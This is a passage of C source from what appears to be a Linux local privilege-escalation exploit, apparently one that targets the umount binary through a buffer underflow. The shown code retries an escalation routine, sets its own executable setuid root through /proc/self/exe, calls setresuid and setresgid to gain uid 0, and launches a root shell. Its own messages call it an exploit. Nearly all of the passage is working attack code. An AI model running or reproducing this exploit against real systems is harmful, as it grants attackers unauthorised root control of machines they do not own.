fprintf(stderr, "%s: internal invocation, setting SUID mode\n",  
programmName);  
int handle=open("/proc/self/exe", O_RDONLY);  
fchown(handle, 0, 0);  
fchmod(handle, 04755);  
exit(0);  
}  
  
fprintf(stderr, "%s: invoked as SUID, invoking shell ...\n",  
programmName);  
setresgid(0, 0, 0);  
setresuid(0, 0, 0);  
invokeShell(NULL);  
return(1);  
}  
  
for(int argPos=1; argPos<argc;) {  
char *argName=argv[argPos++];  
if(argPos==argc) {  
fprintf(stderr, "%s requires parameter\n", argName);  
return(1);  
}  
if(!strcmp("--Pid", argName)) {  
char *endPtr;  
namespacedProcessPid=strtoll(argv[argPos++], &endPtr, 10);  
if((errno)||(*endPtr)) {  
fprintf(stderr, "Invalid pid value\n");  
return(1);  
}  
killNamespacedProcessFlag=0;  
} else {  
fprintf(stderr, "Unknown argument %s\n", argName);  
return(1);  
}  
}  
  
fprintf(stderr, "%s: setting up environment ...\n", programmName);  
  
if(!osRelease) {  
if(detectOsRelease()) {  
fprintf(stderr, "Failed to detect OS version, continuing anyway\n");  
}  
}  
  
umountPathname=findUmountBinaryPathname("/bin");  
if((!umountPathname)&&(getenv("PATH")))  
umountPathname=findUmountBinaryPathname(getenv("PATH"));  
if(!umountPathname) {  
fprintf(stderr, "Failed to locate \"umount\" binary, is PATH correct?\n");  
goto preReturnCleanup;  
}  
fprintf(stderr, "%s: using umount at \"%s\".\n", programmName,  
umountPathname);  
  
pid_t nsPid=prepareNamespacedProcess();  
if(nsPid<0) {  
goto preReturnCleanup;  
}  
  
// Gaining root can still fail due to ASLR creating additional  
// path separators in memory addresses residing in area to be  
// overwritten by buffer underflow. Retry regaining until this  
// executable changes uid/gid.  
int escalateMaxAttempts=10;  
int excalateCurrentAttempt=0;  
while(excalateCurrentAttempt<escalateMaxAttempts) {  
excalateCurrentAttempt++;  
fprintf(stderr, "Attempting to gain root, try %d of %d ...\n",  
excalateCurrentAttempt, escalateMaxAttempts);  
  
attemptEscalation();  
  
struct stat statBuf;  
int statResult=stat("/proc/self/exe", &statBuf);  
int stat(const char *pathname, struct stat *buf);  
if(statResult) {  
fprintf(stderr, "Failed to stat /proc/self/exe: /proc not mounted, access restricted, executable deleted?\n");  
break;  
}  
if(statBuf.st_uid==0) {  
fprintf(stderr, "Executable now root-owned\n");  
goto escalateOk;  
}  
}  
  
fprintf(stderr, "Escalation FAILED, maybe target system not (yet) supported by exploit!\n");  
  
preReturnCleanup:  
if(namespacedProcessPid>0) {  
if(killNamespacedProcessFlag) {  
kill(namespacedProcessPid, SIGKILL);  
} else {  
// We used an existing namespace or chroot to escalate. Remove  
// the files created there.  
fprintf(stderr, "No namespace cleanup for preexisting namespaces yet, do it manually.\n");  
}  
}  
  
if(!exitStatus) {  
fprintf(stderr, "Cleanup completed, re-invoking binary\n");  
invokeShell("/proc/self/exe");  
exitStatus=1;  
}  
return(exitStatus);  
  
escalateOk:  
exitStatus=0;  
goto preReturnCleanup;  
}  
  
`